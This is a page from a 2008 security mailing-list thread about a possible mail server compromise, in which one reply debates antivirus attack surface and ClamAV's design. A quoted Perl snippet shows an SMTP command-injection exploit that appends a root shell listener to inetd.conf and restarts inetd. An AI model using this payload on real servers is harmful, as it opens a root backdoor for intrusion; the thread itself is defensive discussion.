Incidents
Possible Mail server compromise ? Feb 04 2008 06:28PM
Faas M. Mathiasen (faas m mathiasen googlemail com) (3 replies)
Re: Possible Mail server compromise ? Feb 12 2008 11:41PM
Faas M. Mathiasen (faas m mathiasen googlemail com) (3 replies)
Re: Possible Mail server compromise ? Feb 18 2008 07:19PM
Faas M. Mathiasen (faas m mathiasen googlemail com) (2 replies)
Re: Possible Mail server compromise ? Feb 20 2008 02:43AM
Eduardo Tongson (propolice gmail com) (1 replies)
Re: Possible Mail server compromise ? Feb 20 2008 07:33PM
Faas M. Mathiasen (faas m mathiasen googlemail com) (1 replies)
Re: Possible Mail server compromise ? Feb 21 2008 02:38AM
Eduardo Tongson (propolice gmail com)
Re: Possible Mail server compromise ? Feb 19 2008 05:35PM
Bob Toxen (vger verysecurelinux com) (2 replies)
Re: Possible Mail server compromise ? Feb 20 2008 02:14AM
Jon Oberheide (jon oberheide org) (1 replies)
Re: Possible Mail server compromise ? Feb 20 2008 05:11PM
Valdis Kletnieks vt edu (1 replies)
Re: Possible Mail server compromise ? Feb 20 2008 07:25PM
Faas M. Mathiasen (faas m mathiasen googlemail com) (1 replies)
Re: Possible Mail server compromise ? Feb 20 2008 11:07PM
Peter Kosinar (goober ksp sk) (1 replies)
Re: Possible Mail server compromise ? Feb 21 2008 10:49AM
Faas M. Mathiasen (faas m mathiasen googlemail com) (1 replies)
RE: Possible Mail server compromise ? Feb 22 2008 12:38AM
Richard C Lewis (chad mr-lew com) (1 replies)
Re: Possible Mail server compromise ? Feb 26 2008 04:19PM
Faas M. Mathiasen (faas m mathiasen googlemail com)
Re: Possible Mail server compromise ? Feb 19 2008 06:46PM
Faas M. Mathiasen (faas m mathiasen googlemail com) (3 replies)
Re: Possible Mail server compromise ? Feb 20 2008 02:48PM
Eygene Ryabinkin (rea-sec codelabs ru) (2 replies)
Re: Possible Mail server compromise ? Feb 20 2008 10:59PM
Valdis Kletnieks vt edu (1 replies)
Re: Possible Mail server compromise ? Feb 21 2008 10:31AM
Faas M. Mathiasen (faas m mathiasen googlemail com) (1 replies)
Re: Possible Mail server compromise ? Feb 21 2008 05:13PM
Paul Schmehl (pauls utdallas edu)
Re: Possible Mail server compromise ? Feb 20 2008 07:10PM
Faas M. Mathiasen (faas m mathiasen googlemail com)
Re: Possible Mail server compromise ? Feb 20 2008 07:05AM
Bob Toxen (vger VerySecureLinux com) (1 replies)
Dear Faas,
> Dear Bob,

> > > Jon Oberheide send me some impressive statistics with regards of
> > > vulnerabilities within AV Software, interesting enough most of them
> > > are remotely exploitable :O
> > Most? I would expect most to offer patches quickly.
> Yep most of them, if AV software scans data that comes from a remote
> source it is remotely exploitable.
> But it all depends on who is your enemy, if your enemy is a script kiddie
> then yes patching helps. If your up to enemies developing zero days I guess
> that won't help.
It goes without saying that patching does not protect against zero day
exploits.

> > That sounds like "snake oil". The more code (i.e., adding their
> > product) the greater the "remotely exploitable attack surface".
> I'd like to disagree : Not really. Only code that deals with data that
> can be manipulated by an attacker is "exploitable
> attack surface", so if you only add code that is static and does not
> parse, nor deal with data
> an attacker can manipulate, your exploitable attack surface does in
> fact _not_ grow, that's not snake oil
> but a simple fact, I guess =)
I don't understand what you are saying. I am assuming that the nruns.com
product is scanning for viruses in email. Thus, the data (the email)
can be manipulated by the attacker.

> Anyways in this case I am not sure about it, have you read the
> "Security through No-Parsing" paradigma ? They apparently don't parse
> the data and put everything in a sealed environment. knowing these
> guys found these bugs
> (http://www.nruns.com/parsing-engines-advisories.php)
> I guess they know what they are talking about ?? But then again you
> never know.
"No-Parsing paradigma"? Paradigma isn't even a word (according to
www.merriam-webster.com).

Our product (and to various degrees others, such as raw ClamAV) also run
in a "sealed" environment such as a separate UID, chroot'ed, etc.

> > We have developed an excellent spam and virus filter that uses ClamAV as
> > the virus signature matching engine and have had great success with it.
> > We also add our own proprietary virus filtering on top of ClamAV to
> > block most viruses too new to have a signature.
> ClamAV ? Lowest detection rate in the industry, no on-access scans and
> an Anti-virus that was vulnerable to such bugs
> [1] you consider a great success ? I don't know who you are protecting
> but I hope they were not vulnerable to this :
It has worked quite well for our many clients for many years with zero
compromises. Further, it ran just fine when McAfee (or Norton, I do
not recall) hung and brought down a client's network when it received
a virus it could not handle! (Note that our product does additional
virus filtering that does catch things that ClamAV may not.)

> [1]
> print $sock "ehlo you\r\n";
> print $sock "mail from: <>\r\n";
> print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root
> /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
> print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
> print $sock "data\r\n.\r\nquit\r\n";
No, ClamAV would not be vulnerable to this because it doesn't receive
the message until after the dialog with the sending system is done. It
would be the mail server, such as Sendmail, that handles this. This is
such a simple attack that anything more advanced than using a shell
or perl script to parse would be immune to this.

Best regards,

Bob Toxen, CTO
Horizon Network Security
"Your expert in Spam and Virus Filters, Linux server hardening, Firewalls,
Network Monitoring, Linux System Administration, VPNs, local and remote
backup software, and Network Security consulting, in business for 18 years."

www.VerySecureLinux.com [Network & Linux/Unix Security Consulting]
www.RealWorldLinuxSecurity.com [Our 5* book: "Real World Linux Security"]
bob (at) VerySecureLinux (dot) com [email concealed] (e-mail)

My article on "The Seven Deadly Sins of Linux Security" was
published in the May/June 2007 issue of ACM's QUEUE Magazine.

[ reply ]
Re: Possible Mail server compromise ? Feb 20 2008 07:25PM
Faas M. Mathiasen (faas m mathiasen googlemail com)
Re: Possible Mail server compromise ? Feb 20 2008 01:51AM
Valdis Kletnieks vt edu
Re: Possible Mail server compromise ? Feb 13 2008 09:55AM
Michael Loftis (mloftis wgops com)
Re: Possible Mail server compromise ? Feb 13 2008 05:09AM
Jon Oberheide (jon oberheide org)
Re: Possible Mail server compromise ? Feb 04 2008 07:05PM
Jon R. Kibler (Jon Kibler aset com) (1 replies)
Re: Possible Mail server compromise ? Feb 04 2008 09:39PM
Tony Maupin (tony themaupins com) (1 replies)
Re: Possible Mail server compromise ? Feb 04 2008 09:57PM
Faas M. Mathiasen (faas m mathiasen googlemail com) (1 replies)
Re: Possible Mail server compromise ? Feb 05 2008 05:49PM
Valdis Kletnieks vt edu
RE: Possible Mail server compromise ? Feb 04 2008 06:58PM
Worrell, Brian (BWorrell isdh IN gov)


 

Privacy Statement
Copyright 2010, SecurityFocus